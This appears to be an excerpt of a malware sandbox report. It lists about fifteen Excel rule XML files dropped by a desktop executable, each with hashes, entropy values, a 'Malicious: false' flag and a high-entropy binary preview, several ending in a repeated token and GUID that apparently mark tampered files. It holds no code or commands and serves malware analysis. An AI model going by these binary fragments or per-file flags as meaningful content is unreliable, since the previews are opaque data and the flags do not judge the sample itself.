.....k%.J.-.>.i.V..T$...#....#..L.....J!z.....r?s.G..n...`..J....>...e.^.G-...\|....V......D.)e.......U..=.l..p./....Q^rJ.i.1..F.....v.Z.t...&..k..~.1LD.........\|Y..i.6..U5.'..8bp59...<B.\...\|...".-j.%...+...e.y.]....ZRm..h>X.[...BP..;wkKH4..pR....P....?.Tn.....?..6Kh.2$.F./...x.p.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.938817513333799
Encrypted:	false
SSDEEP:	48:LmrlRReS81UkEQAZXTueBhlNe9KIw4PP6VhkVVpc50afWbbh1NUZRn+FOQ/hiD:sR81UBpBHhlcs6M0pc503mZRn+0wq
MD5:	E3C342AEE1F605BEBED4A7CD5EC0017E
SHA1:	948EAF4D547D937F7EEBC0851B1C61425DCC5B73
SHA-256:	16C2984D6934CC22E288EE57CEDBD2C8EB0DC5202AE51D948CBEA77B2E4C9585
SHA-512:	91C1764D230461CDE630D1566CAF8177BF5795EB98EF56ED2D8C5D351F5FBFDAE7BE866204935EE860B747D066045F013F17460724A8DFEAEA0F7EA97FC3BF1C
Malicious:	false
Preview:	<?xml..(.. .7..RrP.....L.{..^........@..........RC.....(..'T.r..)E..^e.R0Hl......Od.0...F.._.^<.F@..k...%0$.o...&....{..t.......q.>.....}j.u...}..9..5q..5..d.t.8...x9.Jb..dT....^.......\|+]%....`3.u..,,........H......D.L.....#=......HkS.Q....j2.....d.\w..)?...C..#.f..]..U.R.3-8..P..)...=.....E..`#7>.{....K<.]..L{..uo.=.R=.........T.`c.OPD^..&.j...../.J.S..1x.8...s.s...bI....D..!.V.....$.:...y....K>y.."/...S....16.j.-..T.W.?d....n...te.BE.k...DK..u.@.........7N.n..\|..!..!..!.tE..r0.....;._..-....1..B+EH.TG..9^..G.v.joi..D.x>B..P..#....M..c....T.S..A6......G.zv..I......Qnu.R.%..>.vc.b-Y.....[.......#...V)..G.+.L..e...v..4....&....b..M.uHo}....Os.d..,.......#...7 e%.O..T.7..r.....F..+.X.:.s.`!.oN[z.N..Z~.].}...^...-S.ne....s6.....&...A..C..64k...E".Q.a..4c~.Z.'.........3..P....i=........l..=Wsi_..RD79.+~.i9p.....q.yW.-c....^AdAv..`/.0.PVPh.`.d.:....\|.E`.2J.t.Z..KK.....!^..D6.f...Z.x..h.).LK.vx.tv.9m..1_2N.+. .s.....j.e.\|....'sij..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.941969135609802
Encrypted:	false
SSDEEP:	96:has+9cQ7mYWn/+olg7514pWQsN/pyddZnCzoZxjJS:x/Q7mYLoM514pKkddI0TjJS
MD5:	3EA157957B000DF6AE9AFB82DAD4EA22
SHA1:	FDC7001FD4E6EAA1A1934A56B36A006DE6056D51
SHA-256:	A9386327AE9A25AB5CB29AD26F55E82BDE58A66112B7B4BD5BA5F06FD2ADCC7F
SHA-512:	6B8BDF39A0D260FE3B6F6EC894996CA9C523918EADD7D46B16FFB55239C63C7F08835B0F5FE30CE24ED003A3F641F97E0040C7DF6669CC33E5B0F795B260A69D
Malicious:	false
Preview:	<?xml.....d8....Q.E.G../!.3)n~.l.l.K.A......`E..VE.D..i)@......W....B......X......?....?..!.....8...$...E.5E..8dj...fo..o.F..bE...P`..^.w.;F.JC.FI..'!....A.....P.u..H<.v...H.......P6K..a...}Iz.v.OF..i]E...t&.jo...h.u....zA..'7..........qa.afo.....V.[.&..4..&...[..BBb..nV...t;.../&>..1%'(..Pm..?.a...Zjr?.t....=.R.F?..$.......6.O;..nu........3@..y 0.v.<t.1.k..9.Y...z.....Y^.9.....E.Xq,..l.z.`.1...<J.=.b...%v.Oj.M%.P^...f..\.4y.W+.A.$K5..c..<.q.5V.R.]/...]P=)..R]q....k.O..R...d.]:..k...L.~,M.q..a...9CS......p(..'...._.?....-."..,r;9..Nz.@.m.q..pLl....#y.... g.V^....."]c..k.....QX..<2T.-:..>..xY..k..ti.b.G...>..\|..A.0z.2).svI....m./.ms..e..9...b)h....Bub.<.B.~...+.K$...&.v..D.Rj.Q..3.Lr..o]....-..%.9?E..+4.....H....o`.Z.H{f.v.....}...ZZ.&....IVD......@H....$/Y.s5...G.X...z#]rei.....1.....g.."...%..).]..H..../...p.....T..L{.}8)R.m..D.W{...;.G..DfUL(...e..H.OoX.......8.!..m..f..'....y....$..X.....&y...V^>.....}.... ...m..)x.X..\|=..1.JY.s.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.941762486051842
Encrypted:	false
SSDEEP:	48:pvhfrJkU6DouT/nasxZFgewXY74SulQxMHwDqVk/Ijyu5XG8d58g3bqlD:DfYDouTSsydSxMHP+/FuBG8XV3bqd
MD5:	75339B80C90DBB1B27529CF87A7E3CB2
SHA1:	DEEBF8716B64A5AE141BF16AE7F8CAE44077D5B3
SHA-256:	0AEABB7E0F80CA1E590E10998239497E3B7FD06C26F5D9328F03AAAF07AF16DC
SHA-512:	B14F394BA6BAC1CCB302B17F80E2D894E46BD2AEAAC8BC5C2C9704144DD858DB380F11548024B69161295D7C24AE74478443F39BAFAEDDDFF67021707DA43E65
Malicious:	false
Preview:	<?xml3.h..;...y.W..eW.....~.#f.....b$..6.>......6Ii.=.PF.89....-h....../..q:...\|.....s.J...~..}.gug.lT..&Lo.;..X0.........g62..]....a..Y(CC.....0.M+Y..2..F...4s..v...';_..].@lP.[....3E..qd}...P!.y.ESgJ..1...As4v..h.2;..NjV.+..u..Y....+..9.U....7..G/...i.....r...H...(Y..?..b..e........qi.j>...&..9..F....'<...s....U..W.?.p....Dj.\.u.H.....=I.Z.#et.........62.Oh.+Xf!A.Rt.(G^..B`......w<..K...f>d.......0.....W.yC...W....M.............4.#.wTU......@B.._6..Z..H.t.........C.Pb5w\.2V.'...a.47?..._f..$}...U<...l[...5....v...c..rSP.:Tw..OG(.S#.l.9U..}4G..F".~......v.3..w....8.s5[_s..<$.KB./....,...3U...6x .S.~4Aq...ddX.H...m.W..s....9..#~.B....Oa...O.K..3.f.........L18......f.q...&Z......1..-v.t..r8T.._...N#q..<..K..e8.....f.....\.~~Fl.3.\...J.s.ec.....\.5....F..Y..........;..D..&ftf/.....`.G9.P..M....O..../....R>.R..5e..h.....m.?..d....z@w..............sX>...}...#......?..W.[}@..&t..{.-.1...y. -..2.k.Vcs}..V....3'bF..].ih.z..gW....?F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.903894803176638
Encrypted:	false
SSDEEP:	48:gU5hMT42bPLLFLuC+ll2ZnSFTVPE9p39bOnetOyyPAASdVwM9jaffaJjOYtW3Fe5:f5hMkGLLFiC+2UFxepNbOne8yyYASUMv
MD5:	5E21D0513A467731791E1462A7E55C59
SHA1:	7986FB904C97EFB0B9A9BB103369234C2488B263
SHA-256:	E6785C698363D0BFCDF531E16F4377ED43FC102B7E867E1F3DCBA0672D053501
SHA-512:	639E23ED39A75E75B3441F621B0C1B1907DE0410F1207A1A7A220A9E27DBC43DC83F4E7986BA59A90B9E27B3326A85D375DE7B3C027BB377C1D8FFFBAB6EE4C9
Malicious:	false
Preview:	<?xml..&.....o....9>.w .9.3o$..`......m..;^...._!....0.IG4.{.......Id.B..X.j./. ..i.......L...1.G....yeX..Kp..<a.q./b.VF.rq\|....%Z+.X.....X..V^5..%.7.8.n6o.1.=K...7.J.cZ...t.-.. ...BD}D..z...X.....@%+..j;...Ct..w.^%...z.6....%Q.....ce.]......3.KU?.l..H..Nc....c..K."...R.g..3,...-..p4.b$DjO... .c.._.:6ko[-K..... +..5Y..k.Db...n....&..+.ys-..@.=.-.@Y...N...7uDE...p...#}vE.s'..t..mJ%.-.. .=...d.....uK.....cx..n.N.&.$9.6.(X;F......w.U.o.DE..dK.kc.............B...(....F...F...Q..j ....)l..4..7....f,..O...bZ.J.g5.Cy.u.q...N.)....aI.....I...KWNh.c.....:..un....0dT..9>....26.....G..{s7....X....F.A..E._@4...X...H.L..SH-i.c8c3..?..q`....i.a+....MU.99....+.$./m..........J.B.(.A....#y...-9...^.[..Q.6.I...?...y....x.a..M_.i.....)3T...^..4[.c..V.Pn.;..<....@DCA .[..s@ 4C).........@.]]..+.h...o.9.S.O..."Q..A.J..e=.C..%...E.+..sPrQ;.$....d..b?.WGD....@/1,.....1H..m...H...y...].......+RZ3B.. ....J.9..c.E`.dP..VI.b*X.-{..+.vBvzB"!.....H.A...+..%.@.....6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.661361042567578
Encrypted:	false
SSDEEP:	12:cAkeAf7zgXjpP55PMSIc5lGX8iUnfET+zKlmKXAxCOiGTg41eTCB1buOcii9a:AT/gXlPPfItX8iFT+zIZXAxE04TCB1KI
MD5:	529057C9BC1158E886886D35B03BBB96
SHA1:	1640A3C09DFD3298EA6397DCB441E5B162987D93
SHA-256:	40F91DECDF0CCAB95A4A608794C7C3D25FCF940530E1A3514AF5625888D8DCE9
SHA-512:	B3647CA926FB4B1C86A3F4C2E20C4F163C71262D33AD9F4A7FA47A66448CE9FE02170A9C9B185BEC14D5B6FB59C934E5CF467132A07D8E6F53F319AF24EB9A9A
Malicious:	false
Preview:	<?xmlad.`..6..Y}.v..s.$df..j..k..9.!2....K....>...u..q .k....&R..Y\|Q....R..u{ .u.c,..sA8..j...b .....B..[..uT._...'.G.-.3k......nC.7gm&...1\|..+.YE......S.g...h....-.0..k#h!yb~..Z...Z.....:..4.0..%...&_...Ptj....Cu5g.Cm7.Qr..{@..R.e.5..}.A...U.^.=.\.c.....&s..q.k.d.f&.1#N/X4...$2sk....zP..2..".(.}.....l..n..yIw....9....N....0..'....<@...L.........&....a.,..[ I..n....".._.......;...7U..4..6....../x........c.!....@P.........-..5@.!.....D.l..8..F.t..m....8......._]..t...5_...jeHKP,.....p5.bK13....euFI.2,...IW.......2.U....dE."....1..1{....U...#..Ci.$"..\..U.C.P..j..k8......9j`..1uXC.f..l........T:..;f....l..f.j.`.......jE8.b..5G.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.829656846785458
Encrypted:	false
SSDEEP:	24:lmYyPGnqJumkovcnPwbQAVjIh+PQeE4ciF8SCkK0QguYGIZObD:UPGn9VSQwIXetcidC07uYfOD
MD5:	6B0169CF535903A089998EB2BE4250DF
SHA1:	71FB34BD7E79B9D69ED76E11F0EEE3CCC466C945
SHA-256:	713FBE7528261B3A3681A14B4FA6A56FEBE427729DC48594A51EC1699C1ADFE3
SHA-512:	66FD5FE7CC24E597607BA956454FA77CCE85D878BCF71E6CC13ABB37827186DA0548EC613E26CD564B2E385EEB6A043802822CCF847F80EFABA929254941447D
Malicious:	false
Preview:	<?xmlt.cv%.,..........H....,.lB.]/.....8r.m.x...9.,..v-z.{/Y.....&...t\~...B.k..]?.EP..TA.E2...z.\...$..8F.....!-....XB...N...Q....U.9..e......{.DF.6.^........j....t..Kx..3.....3...=..L>?....+N...U...%..+.7......o`o.....k'K.....D(q..-c..}M....o.Pk...g....s.hQ..{rI.@..J....f..`4..%G..[...r..W..m..G..$r.v1..Pm.\.$"..........xpT..@..ZS.........._...k..sB.=p._..WA..&(...N8S`._...q.]../.:..R.I..]..Vs.-.+np...e._@.1.$......e..@.h....p..; ...BW(ab.#7~.\. .el..A...b..O..d..2.C ....).V`.t8......PS.....zg..H@.....f2.:S.lF..j.8j7Q..k..f.oP.2{.....G"...z...Y....z..b./.^Sh...q..Z]....K...T.K..?...p.`k@x.A/..)^.?..U..C..u....,7..N...v.G....y[.....(..Z..y.gI&.=.dn"..g.L..C[.%O......p..qG.}....t.M..`u.#M..A,.Z.......)...m.y..j,qN..J.)...2..y........a..a......$....8k.mk.\|\|..'o..H.<2....X..F..8.<u..n...p.)...uk..#..6..WI........J..2...rV....'.tYzpf..u.'B.'..h...M..x.1.-............f.......*{.......c~...S...d.q...0....~s....p....F..E.^o@.u{....E.DM\fS.~oW.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.525343121199071
Encrypted:	false
SSDEEP:	12:sWfX2mf1mchhCJCtwA4Thhs6noF9uOwl0ENdNk7mRwZ+uOcii9a:ser9mchhGCmA4ThdoF9El8/7ObD
MD5:	10F387E31F546F9C14253E3FA98442CE
SHA1:	3CA80454C14E9C9436F88E5AAABF88A4AEFE56AB
SHA-256:	F027D51A5F2CD6AD33D0DAE5C9E3D0D500629C2C57CA10AD25B918EBDA246AD9
SHA-512:	48D860AEDFA872FA2C8F3740C29AC3C26C2C99755E3F43E8D49851619B34F8FF76D4052644334E378C089F987D9886A0E41831701A3452BF791B8DE67299FD9F
Malicious:	false
Preview:	<?xml:...vQ%....Ea.3..../I^....b..S.g.)...;.......w......A.EKe#...u.2..5i....i.[...2.1..yY..d..../..{.U..n.N.N"nG.T.z...AP.-.....q..a..@4.9N.v....Q...23)....y.:u.K=6T..........9.......~.e...........y`.%.1D<..#.fb.B..>6.FX.........p...%....K..@.....yH...p.N,.m...@..,.........7=.d_})...t.X....g..a...~..(.W.o...s..a.Xm....fhCs......BR.U..@....br.o@5.K..Z.M}"e eG5.n..:1...../..N%3..":r#...b' .~./......a$.%..x@..X.. ..`}\|....Pz..B..8#...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.921347082794552
Encrypted:	false
SSDEEP:	48:Kny4bBXmKZBjoSn5naUuQmGXZES9dcNg1fgEnZzC6R+xwXRt/OD:rozUmnaUaGXaycNifXZz/RmGZ2
MD5:	564464B5ECD9ABF6961A8D98A48680AD
SHA1:	C86C962F8F64BE4A6B125BCFF54893B73B3FB792
SHA-256:	44EEA6EB7B71A2AFE11639D49C0468548E40A164DD8AA5BDD09DAC962AAE9EB7
SHA-512:	F1FD1E8B208C1CFE7F7A25DCFF0386E6C5124A10AB24C60963AC4F749369053B5F6D4691561CF44D2CBCB306122DC82F99D62FF4AA98FABAC8465D8E4652A484
Malicious:	false
Preview:	<?xmlQ../.0.(........K..E....0k..g}.Ba.}JCW............U.\|......C..+{....#....#]....@.V.i.d.Z?T`d.....b.Fu#".......{..J.Pab....c.7i...,...wD..;{a\|.lu.].......K..e..o.$..RQWT..[hWV....$1b.B1n.R...D.......c.^'.;...ag.$Qk.c..C.6'.m..ah6...t.V..........D+.]y.F.!...&.;h.tc%IA.a..Mr7.61..y.U.,:..BG...k4#1...s.J.?....?.x.~}E..-.....v.".+......f.o..8..S...Ci{.`,.!f2eX.. %F....;.U.\=..r..q.SQ.2..z.j.......bm..0.x.].z)'.)W.>46o.\.}.M9rH..t.1..c.U.....\....2......\Z..8A...A.....l...$"7.....esu.IN.+E.X.G.....Ux..i...\]bW....a..o..F...../.i..0..h8m.^...C:.:...zp..k.Q...P..Bn\]r..1.=.j..\L..y..R.Q4...../...{.$...F...I.%.B:-...X...x..$4\..../..r>@)...E.E..C..@.._z...Z%...2.....f...eG@.b$.....3f../...f.a-...&Z.S..v.I.~BX..*Z."..\|...........8...,....!^...~....<.....B.%B..:......<...D..D...I....o...<.QN..7!..W..$jX.'....J..'.c.WA.rB+.....'I6t.Y}#.s.PBz.<...9...n......9.D......h.9.....hkJ..-......E.,.a......z..z..9..C.....%..\|.....o.(.v......M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.655280248136644
Encrypted:	false
SSDEEP:	12:Fm2hJVG2jzxE6EOlzyfLSkEwlDHCLrgl6biLKtNXtuPpIRf8VtqmuOcii9a:FJzG2PSYU2cDHCLUAbiWXtuxMf8cObD
MD5:	1C5E042AEEFCE32B66A9651F46FFAA0B
SHA1:	966DFBEB30AAA059EF698EAA01A90F1B6214AC92
SHA-256:	B9AC60E58DCB5CFABE643E1A9E28875B9D960699347E8FD3EC44BB185691BEDB
SHA-512:	B32A92E11BEF2261830AB555420F976D6498BEA3E8D05C84FE2D8D0618787ECF57E2D0DB4F3F98BB2586A5FD480BE8ACF53E2E49E5E7520E85B4D1980A46F40C
Malicious:	false
Preview:	<?xmlf....8dzm&......=.....8......E....b@...U..!.j.......8.EbnOj......yp....ru.V..c}.-.N.Q.B6....$T.M...Z.@.\|...+.r.... 0......Y..w^G).....%....a..?...l.}.".9]Bf.r...D..L..8?,..y.R.x.e...yw.....oRIYe.p.HvCJW./i...3.JVR# .h7.r1...6=.r..4A....H.a$^-!.M.Ie]...1.B.q.Y-6.x.E5...W..N>c........#.G6-.u..P.!{`tr.!.t......N.,...u..W...gi.ef$.YO....l.E..P.\..J..s.sF.d...Z.M.l..J^-...n...@W#..A.9U4......=..M...C....>..y..e%.....[...4M.),.F.f...j.cKO!P.{.n..e...l.q......WR..;2.p;m[1...knRS@].7..v8..S&.J'?Y..'.a.# ..=i....!0A(.d.,.k..w.P...M.,=.[l.....X..O*%}.su..;Y.....N.;a22.d.U#0.H..!.x.).[C.I.Y.!jE..u..b...S....5.=.w2\.............@...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7124592002957515
Encrypted:	false
SSDEEP:	24:j44CKbnA5aBRFod1A9WDkxJyTzz4QCm4GEhaObD:lbnVLiXwWAHGCiErD
MD5:	3E80FA51EC83997EF929FA03CBD01696
SHA1:	FE2EAFF526800FE616BDCC45F3DC62581492C18A
SHA-256:	5291837049EC4F021A83C7AFDCD0F965A4A239D0742CBC5BB3AE88ADD40B5D11
SHA-512:	646284704FEF0DE81DCAC3FF15C49AE61083D71346870C255AC9D3BD7A311A5CCA505816A59AF341E75E7B1D406690E4AE11CD17DB4F1E292156681DFAE7019B
Malicious:	false
Preview:	<?xmlJ.L 8./_..z..$..P9#........Y$.....)...'9...~.....Dk...Y3[S .G'(9y....!e[`...<~.zk..Y..%/.....\|]..g..a.x@....V-.R....D.l....:...Z...w2..m. k...j......@...'m.@......v.,..<.;.N>..~.....bi.`..#.Wa.?..Yr.U.d....C..\|(.]oB..WK"....C...6:.4.C.ifHw.....^.L.zp.....H...6..1N...m..bx.@0.M....E6.i...y...Uu....O9..b....".%....<W...%...o.."2.......J....i..Y_6..m.b:#`.`[..x......X../.A\....."S;1....'7xsR..Mp1.....g....3..-.9M..Q.h.O........p.[.K.&.<%$#Y...'..`..y....h.p....C5:.~....^...@.I[.}..g.[d.r..6.U]....@....m..O)._&.7..`#.8.._.......z;.if?...C.:..AO.z)#.]...7...V...2..F..........b;..... 1/.8..^.[W!..4...\|.oI.,.Tu.h.......NK...c./g.o..U.!.a..\|..Hq........L"l...gC15.AR.../.;s..FN.%....(.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.709202899398207
Encrypted:	false
SSDEEP:	12:4oUNNBkM4IghPShmJH0cDZBQZ4kBAOFoExCPh1ZUvC3ECnlM3CIckBUU/uOcii9a:4oU+M4IAPooH0ccBAOFozZUvC3flM3C0
MD5:	C0A30158C9A9C199F5FC764BECBF0B6A
SHA1:	7131B910ECE60654D1FD558B12DFDF229EA3AA11
SHA-256:	319F76A9B546EB1AF275CE69B2362F089DEB4AB773E33BBDDE8EF313A13A56D3
SHA-512:	251F4A8011490E022A25EABFFC104CCA3F1943008E48B8720518039619892B0C538BA0E432DD1469370936ECDBA7230F91003ACF5C67455FDD5C6BDDBD8E0D94
Malicious:	false
Preview:	<?xml.w.i...K_......x.w....@.m.q.61xLw.X.-pd..XA.OM..F[....O>.+.%..w.c....e.=.%S,J...9........Z.?..P...:...:.T.Fg..'\..Yk.h......(....w...+.Z......n.l...`.....W.VR..i.f.7z...b.....m.8...#.....y.#Uw%a...wq..s-S..{$C....".,\...."S....{.&....t.....F..q....Qz.....}......](.i..j1..Z....w.%....Q...u.F.7..z.$....'D.L....%.....6d.f...Q.)..-.....(B../...9.I....;.T..J...o...S&..&.[6.%..r.Z.....)...b\....}...:t.\f[.U..!.....B6+.._.[U.'7..I..B..CDu....l...q.....X...6.rt..i......=.0.s.5 ...x.%.U....b<....l.?..L.`@.pV.pP...o+.[U-...=.._A.......R....#.SDG..B...lI.s............h....od..u...\|.Y....e.....{Ah...g+.0.X..LPt..[...R...?...hi..uZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.734002125953355
Encrypted:	false
SSDEEP:	24:ux95BbYPEqBmZ6ziWTwKtsF+E42KnmOrzqRAObD:ud18oWTwKCMJmOaJD
MD5:	32EF37D98C44DEB16F035911B3B6C71C
SHA1:	11E72634D71DE999A1E136CAE6A0C752CF6A8946
SHA-256:	BEE55404913A157FBEE302847D6DA2470177C711A9E8A88EB7207E0EC8CA9A09
SHA-512:	F6CA88C81B1756589870DD260BC77B5702AA0BB2FA4412A50D94DF1170A0EF050659D00AA1E786AE7E9A4B2EA2046A699AEF62637C508EE4C613D8A5A7C1EDE1
Malicious:	false
Preview:	<?xmlY....]]b..1.....z......;...D....X]<}.........:>....L..._;..........1e...hB.q...0e.#.r7...2@..Y6bw..J6d..H...x/..<8._.#...}.L.L.d9M..s....#o.+.......%..M.'....&.i.F.2b.....a..6..)...k.*.18.].ARP.A.F..._.SV..=m..)5<...)I.7...b\|...N...v.'.CB....F...'..w..>.t,{:`..u....Qe........X....[..cu>7..b.g...=B..,2..e[..]...(Z..).R..{8.z....p.....lh....j....f.^...Q..3..-.......5.....Xg....v.d`.0..RC.....I....oVM$~.H......(.M.4n..c%KH...._S...Uk.9D....h..!.Tb.S.w..#.&Z.............;..In......+...f.)t.r"tn./..A....=U.F.d/.R..2(b.x8...!&..&..F.k:..7 R..a..F8......Au...8....x~.F.......1.5....m...\.S..Y..~...a...J..J.:/(=...C......(...O.........75{...C..l..h......UJ...t."..8.8..H.d......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.8055411770757015
Encrypted:	false
SSDEEP:	24:7syAxpSSh72fHTb7aeVOkXoQE6DDD7Pu4jauJtzmFA5o+p8imyXObD:7syAxgSd2vT/aekkXoQESDDy0Cmolimd
MD5:	EA05D61B050267FF9AC634276978261E
SHA1:	344735E48525282EDB5EE79F1C3E6BB38DAB7851
SHA-256:	252A1F7A07F0BBA954954CC5A46642A376DF67D0CEC74BA75A373728F1406AC5
SHA-512:	BD9BF0DEAE18CF1BB2EEA9F3F4325EFC3990A82A97223DCC89197F35EC63FB65A3953A2A16A88930D004ACC824C76D1A04B16BE68224998C321FACCBEE0DAD4A
Malicious:	false
Preview:	<?xml?4...MI...gJ....0.1....b._3.ax.N...q..N...........$....W......./..p.......t.p.........S.J>./"M.)......6..Yp......Jk.-..x.P..(h.A..e...Bwf(x.p..c.#../.p....?iL?.G...i...I..^.u ...A8.kE.....;._`L".&V.E...G......!s..e......V%....S....... .... ...*...m...._.[......8..n.%7..F.....Btc...^.2r....s..S..ck.k..-RF....,r%5.}...]...._U.....CW...........!..K.qU..(l...{.....+.q-..#...}l..8..:.../~@..N- .0..g.5.........0....).n?.8.2^./........g..s....1f..>...F...J..'..`u..B.[....X@..h.l....=R ,...+....2...?......778..K.C....h.Pf.<e. ....Z...]......aofa..M..i.{....(qq....?.2.v.Gr....4.s..wT..t.6.t.\$6y..t.p...n.d..Q.t!._-7.%..?..V.y{xbK..H.j.....{...).iV...C.xa....p...4.R- ..M..ce.+........y>....v.x............z4.K.jaW..:e..'..+G$...b..=..vh....C......sX"..6r..:5........ .,..z.0H..-.5>...Q.-vi.;R...T......T........<-JL.......-Xr....]G"F....D7..I.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.731023143354772
Encrypted:	false
SSDEEP:	24:+UroegyWn27rKqlTtY4upACrrN1qwI9q6RObD:+tegJMPtLC35IoND
MD5:	7215DD2BEB717FB6C34BE9790F70BF8B
SHA1:	35109E56153F6D2F6E58C95A69D92BA4B9A0178B
SHA-256:	70FDC1A4C9E4058961DF34DD10519CE9B46A7E81F80026FB71A248FBAAD86355
SHA-512:	B3D638A469F19988690DECB6445518A3E84160AAE56C045FD61400B650E70E56006B902DB0C3F02EDBB01A9BC5202D6664352746DA90FA4B97757AA3D924A88E
Malicious:	false
Preview:	<?xml.Co.U6L^....;..wmf.WS..w`.."G...e.#..'...[X..C..3(,S....lx....i....{.U'2..t... +.3.h.#.0.i.dY..F...o+..8.!..F..fy...^..F&.v..>.=q..,J....B:..$VA..Q.7f5..../.....+k..._.l.....E.. ..O1..._...;.=Y..+. .m x..zZ.[.+.....x...XO...IW..Ca0/t.....jWh.[;.]^E.....3....]D..PX$$..g..K.u.]@....~&.hAN.yA.i..BT`.W.....Y.#..=.K..j......?..K...S.!..n)..[...;./..y......yB.$2t.]...o.(..!..M.D....v.j.<.\|...eG.:$.!O%.....,..n,..3..sGK.....E.41...n........d.p...pf.wi6#..l...l.Rm.......I...$@....[..U4.0.=.F.v.;....G.'....C...".06.18q.E....O. D...e.....S...3$.8..Hu.8...y,..N.0.S..T;2Fi...L.u..i\|.C...MD.}.V..s...S..P.,..^.Sahx.&f..T.3.Hu..$....q...p....}Onri.N+(.)...NQ`.8..6.oa.z.0.r`b...(.<. k.O/%0..N.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.709961240483175
Encrypted:	false
SSDEEP:	12:pCFNU/ZhelfF3FRR0QUqqt78Ag4cazXfr9Ouv9wu/exV3blcq0+QtbGuOcii9a:pCFNU/bgfF3OwAQGPr9/9lWjrlc7ObD
MD5:	1557076700AA556944C2A07105073A73
SHA1:	FE86FE667258DC4548953625828FF833E5A6EDA1
SHA-256:	C82ECA76D1C605BAF11D6641A8A39A21F26D80700D700E1547A60A2AA1826134
SHA-512:	1D27ACC1C9BAA4C60FB6DF2CE4807679725C22B224F950FC9BD6B7F7159F356149066EEF1078CBE1BD0456F92FC5214D304D5E6A0DAACDFC9CE025FEE9CC6FA9
Malicious:	false
